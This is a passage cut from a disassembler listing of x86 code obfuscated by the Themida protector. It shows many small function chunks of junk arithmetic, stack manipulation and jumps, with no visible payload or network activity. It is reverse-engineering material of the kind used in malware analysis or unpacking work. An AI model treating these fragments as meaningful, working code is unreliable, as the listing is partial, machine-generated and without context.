4 xchg edx, [esp+24h+var_24] pop esp mov [esp+20h+var_20], eax mov eax, 2DEBF8C6h sub edi, eax mov eax, [esp+20h+var_20] add esp, 4 push edi push edi mov edi, 4F381B7Dh sub [esp+24h+var_20], edi pop edi pop edx jmp loc_5617D4 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562676 loc_56FBEB: ; CODE XREF: sub_562676+C59j add esi, ecx add esi, 73B9287Ah add esi, 7B574708h mov ecx, [esp+8+var_8] push ebp jmp sub_561B55 ; END OF FUNCTION CHUNK FOR sub_562676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56FC02: ; CODE XREF: sub_5678CB-4421j push esi mov esi, 0CA05124h and esi, 775D435Dh neg esi add esi, 7F8D8AC2h mov ebx, esi pop esi jmp loc_574B21 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_56FC1E: ; CODE XREF: sub_5753A5-3D2Dj add ebp, 4 push eax mov eax, 0D046E8Ah neg eax sub esp, 4 mov [esp+0Ch+var_C], esi mov esi, 42D0277Ah neg esi jmp loc_56274A ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_56FC3E: ; CODE XREF: sub_56B1DC-42D8j or esi, 4E8075C1h add esi, 300C8039h add eax, esi pop esi add eax, 4 push eax push [esp+8+var_4] mov eax, [esp+0Ch+var_C] jmp loc_560F33 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_56FC5D: ; CODE XREF: sub_56D359-5C3Aj add esp, 4 push esi mov esi, 4 add eax, esi push [esp+0Ch+var_C] jmp loc_57332D ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56FC70: ; CODE XREF: sub_570732-5298j mov [esp+10h+var_10], ecx mov ecx, 4 sub edi, 25475B2h jmp loc_56DDEB ; --------------------------------------------------------------------------- loc_56FC83: ; CODE XREF: sub_570732-33ABj push [esp+0Ch+var_C] pop ebp push edx mov edx, esp add edx, 4 jmp loc_56EB67 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_56FC95: ; CODE XREF: sub_56A119+6E46j add edi, 4 jmp loc_56304F ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56FCA0: ; CODE XREF: sub_5687A3+3j mov [esp+4+var_4], ebp mov ebp, esp push ecx jmp loc_565F16 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- loc_56FCAB: ; CODE XREF: Themida_:0056B3A5j add edi, esi mov esi, [esp] jmp loc_56F882 ; --------------------------------------------------------------------------- loc_56FCB5: ; CODE XREF: Themida_:005736E7j push eax mov eax, 48C05753h mov edx, eax pop eax push ebx jmp loc_5712D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_56FCC4: ; CODE XREF: sub_5745B5-536Fj mov bh, ch jmp loc_57490F ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_56FCCB: ; CODE XREF: sub_563BCC+8D63j add edi, 71DB0137h pop edx jmp sub_574656 ; END OF FUNCTION CHUNK FOR sub_563BCC ; =============== S U B R O U T I N E ======================================= sub_56FCD7 proc near ; CODE XREF: sub_56D4B8-98BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561EF3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056524E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565502 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00566A9E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005676AD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567BA7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00568F10 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B1AD SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056B6C1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056F265 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573D7F SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, esp push esi push edi mov edi, 4 mov esi, edi jmp loc_56B6C1 sub_56FCD7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56FCF0: ; CODE XREF: sub_561418+ECF8j mov edi, [esp+0] add esp, 4 or esi, 8E325F4h add esi, 1CEE171Dh sub ecx, esi mov esi, [esp-4+arg_0] jmp loc_57402D ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56FD0F: ; CODE XREF: sub_56628B+AFA3j xor [esp+10h+var_C], edx pop edx mov ecx, [esp+0Ch+var_C] add esp, 4 xor ecx, 0FE7088Bh pop edi jmp sub_565B6E ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- loc_56FD26: ; CODE XREF: Themida_:00561121j xor edi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_55FF9F ; =============== S U B R O U T I N E ======================================= sub_56FD38 proc near ; DATA XREF: Themida_:0055FED8o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056020F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005603D7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005631AE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566E8A SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056A70C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056AD5D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C754 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DD73 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F968 SIZE 0000001A BYTES push dword ptr [esp+0] jmp loc_56020F sub_56FD38 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56FD40: ; CODE XREF: sub_561F05+D1D8j sub ebp, esi jmp loc_5651AD ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56FD47: ; CODE XREF: sub_561418+776Aj sub ecx, edx jmp loc_5694EA ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573A7F loc_56FD4E: ; CODE XREF: sub_573A7F-10932j push edi jmp loc_56C5C1 ; END OF FUNCTION CHUNK FOR sub_573A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56FD54: ; CODE XREF: sub_57354D-130B3j mov ebx, 4 jmp loc_56E2F9 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56FD5E: ; CODE XREF: sub_56102D+4789j add ebx, 32668414h add ebp, 446D2D6Fh jmp loc_562B7E ; END OF FUNCTION CHUNK FOR sub_56102D ; =============== S U B R O U T I N E ======================================= sub_56FD6F proc near ; CODE XREF: sub_569186+8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561560 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00562DD0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056968C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D06B SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax add eax, 4 jmp loc_56D06B sub_56FD6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56FD84: ; CODE XREF: sub_57146D-3C37j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+0Eh+var_10+2] jmp loc_56ACD5 ; END OF FUNCTION CHUNK FOR sub_57146D ; =============== S U B R O U T I N E ======================================= sub_56FD97 proc near ; CODE XREF: sub_560844+8906j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560145 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056089C SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00562A1A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00565A07 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565E03 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00569D6D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056B3AA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056DCDA SIZE 00000019 BYTES push ebx mov ebx, 0AC319BCh inc ebx sub ebx, 0BD02A339h mov ebp, ebx pop ebx sub ebp, esi pop esi sub eax, ebp pop ebp jmp loc_569D6D sub_56FD97 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56FDB2: ; CODE XREF: sub_568764+3201j add ecx, 4 jmp loc_5705F8 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56FDBA: ; CODE XREF: sub_572075-598j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_56FDBF: ; CODE XREF: sub_567B29+5EDBj add edx, 4 xchg edx, [esp+4+var_4] pop esp push edx push 1D7Bh mov [esp+8+var_8], eax push 7BBh jmp loc_56A07E ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DFF9 loc_56FDD9: ; CODE XREF: sub_56DFF9+2Ej mov esp, [esp+8+var_8] mov [esp+0], ecx jmp loc_564699 ; END OF FUNCTION CHUNK FOR sub_56DFF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56FDE4: ; CODE XREF: sub_57146D-BC3Aj push 508Ah mov [esp+0Ah+var_C+2], eax mov ah, 75h mov dl, 95h jmp loc_56E179 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56FDF5: ; CODE XREF: sub_570732-9D1Dj mov edx, [esp+4+var_4] add esp, 4 push esi mov esi, 4 add ebp, esi jmp loc_56562C ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_56FE08: ; CODE XREF: sub_56A423+1Dj neg ecx push 49B5h mov [esp+10h+var_10], edx jmp loc_572A39 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56FE17: ; CODE XREF: sub_564D26+6582j mov ecx, [esp+1Ch+var_1C] add esp, 4 and ecx, 437D160Fh xor ecx, 721D751Eh push ecx xor [esp+1Ch+var_1C], 210E6A74h pop edx jmp loc_56C891 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626B loc_56FE37: ; CODE XREF: sub_56626B+82F1j push dword ptr [esp+0] pop ecx jmp sub_56671D ; END OF FUNCTION CHUNK FOR sub_56626B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56FE40: ; CODE XREF: sub_56F1DB-62DDj sub ebp, 0EAF99E92h add ebx, ebp jmp loc_56953E ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBB0 loc_56FE4D: ; CODE XREF: sub_56DBB0-C5EDj mov edi, 6B3E5282h add ebx, edi pop edi pop edx sub ebx, eax push edi push eax jmp loc_56CCC0 ; END OF FUNCTION CHUNK FOR sub_56DBB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_56FE5F: ; CODE XREF: sub_561826+6062j mov [esp+2+var_2], bx mov bp, [esp+2+var_2] push 616Ah mov [esp], esi mov esi, esp jmp loc_56550B ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- loc_56FE76: ; CODE XREF: Themida_:005735F4j and edi, esi pop esi push eax jmp loc_5678BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_56FE7F: ; CODE XREF: sub_5747FA-143FDj add eax, edi add eax, 73D75CB8h add eax, 24F96C1Ah pop edi xor eax, [esp-4+arg_0] xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] pop esp jmp loc_573945 ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56FE9B: ; CODE XREF: sub_56FA44+2F10j add esp, 4 jmp loc_56FED3 ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56FEA3: ; CODE XREF: sub_5604FE+F64Ej pop ecx add ecx, 4 add ecx, 4 sub esp, 4 mov [esp+8+var_8], ecx push [esp+8+var_4] jmp loc_569572 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_56FEBF: ; CODE XREF: sub_573612-EC0Dj xchg esi, [esp+10h+var_10] pop esp jmp loc_56D5B6 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56FEC8: ; CODE XREF: sub_5685B2+7D4Ej add esi, 117F2F96h jmp loc_56CA5B ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56FED3: ; CODE XREF: sub_56FA44+45Aj add esp, 4 xchg ecx, [esp+0] jmp loc_56F348 ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- loc_56FEE1: ; CODE XREF: Themida_:005640EDj push edi mov edi, 1ED3296Dh xor [esp+4], edi pop edi push dword ptr [esp] jmp loc_56A1FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_56FEF4: ; CODE XREF: sub_560CF1+1319Cj push esp push [esp+10h+var_10] jmp loc_56568B ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- loc_56FEFD: ; CODE XREF: Themida_:005666BEj pop ebp push ebx mov ebx, 537063B5h inc ebx add ebx, 1EC7047Ch inc ebx not ebx dec ebx jmp loc_57331E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_56FF14: ; CODE XREF: sub_565A8D+F6F6j pop edx add edx, 4 jmp loc_569D16 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_56FF20: ; CODE XREF: sub_566400+2049j push 3A2913E8h pop edi jmp loc_5627EA ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_56FF2B: ; CODE XREF: sub_566DC7+73D1j xor [esp+8+var_8], esi xor esi, [esp+8+var_8] mov esp, [esp+8+var_8] add [esp+8+var_8], eax pushf jmp loc_562EE4 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_56FF3D: ; CODE XREF: sub_571890-10F9j push esp jmp loc_5614F7 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56FF43: ; CODE XREF: sub_564D26+C7B0j mov [esp+8+var_8], edi mov edi, esp sub esp, 4 jmp loc_5627F4 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56FF53: ; CODE XREF: sub_5685B2-5928j pop ecx jmp sub_563BCC ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_56FF59: ; CODE XREF: sub_570621-8074j xor edi, [esp+4+var_4] pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- loc_56FF62: ; CODE XREF: Themida_:00572848j push esi mov esi, 3578707Bh push edi jmp loc_56EA05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56FF6E: ; CODE XREF: sub_564D26-2C9j sub edx, 961A7AFEh jmp loc_56D098 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56FF79: ; CODE XREF: sub_5678CB-4BD5j add edi, 4A092687h sub edi, 42C5B133h jmp loc_57136E ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_56FF8A: ; CODE XREF: sub_5745B5-A468j sub ch, 6Ah mov dh, ch pop ecx jmp loc_5732ED ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56FF95: ; CODE XREF: sub_57146D-95F2j sub al, 67h push dword ptr [esp+0] jmp loc_5717A3 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_56FF9F: ; CODE XREF: sub_56DA43+2Bj neg ecx xor ecx, 10DD3729h xchg ebx, ecx neg ebx jmp loc_570AF0 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_56FFB0: ; CODE XREF: sub_569A75-6D9j not dh push small 2A71h mov [esp+0], bx mov bh, 0B8h and dh, bh pop bx push ecx mov cl, 56h neg cl xor cl, 0DAh sub cl, 6Ch xor dh, cl pop ecx jmp loc_5610AD ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_56FFD3: ; CODE XREF: sub_5690E8+7163j add edi, edx add edi, 4F5D17F7h mov edx, [esp+0Ch+var_C] jmp loc_563CF4 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56FFE3: ; CODE XREF: sub_57549C-1134Aj sub ecx, 0F5F5C29Bh sub eax, ecx mov ecx, [esp+4+var_4] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56EE2B ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56FFFF: ; CODE XREF: sub_574656-2E5Fj pop esi jmp loc_568167 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_570005: ; CODE XREF: sub_560CF1-567j pop ebp jmp loc_575132 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_57000B: ; CODE XREF: sub_572669-2D9Bj add esp, 4 and ecx, edx push [esp+8+var_8] pop edx jmp loc_560268 ; END OF FUNCTION CHUNK FOR sub_572669 ; =============== S U B R O U T I N E ======================================= sub_570019 proc near ; CODE XREF: sub_568658+11j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00563DA3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005644E1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005652FD SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00566F8E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005680BB SIZE 00000037 BYTES sub esp, 4 mov [esp-4+arg_0], esp jmp loc_563DA3 sub_570019 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_570024: ; CODE XREF: sub_574949-B8EFj mov edx, [esp+8+var_8] jmp loc_571AB4 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_57002C: ; CODE XREF: sub_571F6F+2363j not bl neg bl add bl, 9Bh add bl, 11h sub ah, bl pop ebx push eax mov ah, 0B2h push ecx mov cl, 54h or ah, cl pop ecx add ah, 0A1h jmp loc_569006 ; --------------------------------------------------------------------------- loc_57004A: ; CODE XREF: sub_571F6F-B797j add ch, bl jmp loc_5666FF ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_570051: ; CODE XREF: sub_567D31+Cj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] jmp loc_564E29 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_570066: ; CODE XREF: sub_56BC97-9B4Bj push ecx mov ecx, 4 add edx, ecx pop ecx push eax jmp loc_5630ED ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_570075: ; CODE XREF: sub_570732-3D3Dj mov ebx, esp push esi mov esi, 4 jmp loc_56F1A9 ; END OF FUNCTION CHUNK FOR sub_570732 ; =============== S U B R O U T I N E ======================================= sub_570082 proc near ; DATA XREF: Themida_:0055FCECo push dword ptr [edi+40h] jmp loc_55FF9F sub_570082 endp ; --------------------------------------------------------------------------- loc_57008A: ; CODE XREF: Themida_:005625C9j mov edx, 1C2770CBh shr edx, 1 sub edx, 2510331Eh or edx, 5B475241h neg edx add edx, 0FB47D74Bh sub ebx, 3A137ACFh add ebx, edx jmp loc_5657C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5696A1 loc_5700B2: ; CODE XREF: sub_5696A1+9j mov esi, 358576ECh add edi, esi pop esi push ebp mov ebp, 5BF6308Ch add edi, ebp pop ebp add edi, ecx sub edi, 5BF6308Ch jmp sub_56E126 ; END OF FUNCTION CHUNK FOR sub_5696A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_5700D0: ; CODE XREF: sub_56B1DC-2F19j pop eax push edi mov edi, 10F335D1h xor edi, 1808574Ah jmp loc_560F03 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_5700E2: ; CODE XREF: sub_56102D+6754j pop esp mov [esp-8+arg_4], esi push esp pop esi push edx mov edx, 6B8F19F9h jmp loc_56AD68 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_5700F3: ; CODE XREF: sub_5605BC+FF6j mov edx, 0EBC1A24h sub esp, 4 jmp loc_56A0A1 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_570103: ; CODE XREF: sub_561418+15BEj mov edi, 4D3903A0h xor edi, 3E557EB6h xor esi, edi jmp loc_56FCF0 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_570115: ; CODE XREF: sub_57549C-6D2Aj pop ecx xor edx, 5E49F8EAh xor ebp, edx pop edx push 398Fh jmp loc_570898 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_570129: ; CODE XREF: sub_56E1B8+5AC7j pop edx jmp loc_564507 ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_57012F: ; CODE XREF: sub_56AEF2+7A91j pop eax jmp loc_569D08 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_570135: ; CODE XREF: sub_56616D-9E4j ; sub_5673C3+35B6j ... push 6E7Eh mov [esp-14h+arg_10], edi sub esp, 4 mov [esp-10h+arg_C], ebx push edx mov edx, 60807FADh add [esp-0Ch+arg_C], edx pop edx jmp loc_56AEFF ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_570153: ; CODE XREF: sub_571088-94E6j push small 2189h mov word ptr [esp+4+var_4], ax push ecx mov cl, 0FCh add cl, 0D9h mov ah, cl mov ecx, [esp+8+var_8] add esp, 4 xor ah, 96h xor bl, ah pop ax add bl, 0B7h xor al, bl pop ebx push eax mov ah, 5Ah and ah, 0 push bx mov bh, ah not bh mov ah, bh pop bx inc ah jmp loc_562289 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_57018D: ; CODE XREF: sub_56CD13+D1Ej mov edx, 2C912526h xor edx, 31CC385Eh shl edx, 1 push ebx mov ebx, 1A122D55h or edx, ebx jmp loc_570670 ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_5701A7: ; CODE XREF: sub_5673C3+B10Bj xchg ecx, ebx pop ecx jmp loc_56B0AA ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572805 loc_5701AF: ; CODE XREF: sub_572805+14j add dl, 0D6h push eax jmp loc_56B0B5 ; END OF FUNCTION CHUNK FOR sub_572805 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_5701B8: ; CODE XREF: sub_56651E+85F2j mov ecx, 4 jmp loc_56106B ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5701C2: ; CODE XREF: sub_561418+102AAj mov ebp, [esp+0] add esp, 4 push ebp mov ebp, 140C06E5h add edx, 66EB377Fh sub edx, ebp jmp loc_56E67D ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_5701DE: ; CODE XREF: Themida_:005752EDj push 4F7Dh mov [esp], edx jmp loc_56F017 ; --------------------------------------------------------------------------- loc_5701EB: ; CODE XREF: Themida_:00571314j add dword ptr [esp], 4 mov ebp, [esp] jmp loc_562C14 ; --------------------------------------------------------------------------- loc_5701F7: ; CODE XREF: Themida_:0057185Dj pop ebp add edx, 1BED3AB8h sub edx, 3ADF2B90h jmp loc_566A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_570209: ; CODE XREF: sub_574FC9-262Dj shr edi, 1 shr edi, 3 jmp loc_56EC80 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_570213: ; CODE XREF: sub_57354D-311Bj add edx, 4 xchg edx, [esp+8+var_8] pop esp add ecx, esi mov esi, [esp+4+var_4] add esp, 4 push ebx jmp loc_563B00 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_57022E: ; CODE XREF: sub_56E96D-AE1Cj mov ebp, [esp+0Ch+var_C] jmp loc_56A170 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3B7 loc_570236: ; CODE XREF: sub_56D3B7-51C7j mov ebx, 4 jmp loc_5637CB ; END OF FUNCTION CHUNK FOR sub_56D3B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_570240: ; CODE XREF: sub_5690E8+6686j mov edx, 115D0B90h sub edi, 4F5D17F7h jmp loc_56FFD3 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_570250: ; CODE XREF: sub_572D45-BB16j pop edx push esi mov esi, 612F312Ah xor ebx, esi pop esi mov ebp, ebx pop ebx add eax, 39737977h add eax, ebp sub eax, 39737977h jmp loc_573DCA ; END OF FUNCTION CHUNK FOR sub_572D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_57026E: ; CODE XREF: sub_57236D-4B1Dj inc ebx add ebx, 6593776Ch sub ebx, 6EDD2F79h add ecx, ebx pop ebx push 3FA2h jmp loc_56DA80 ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_570288: ; CODE XREF: sub_56B577+7A32j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp push 49F5h mov 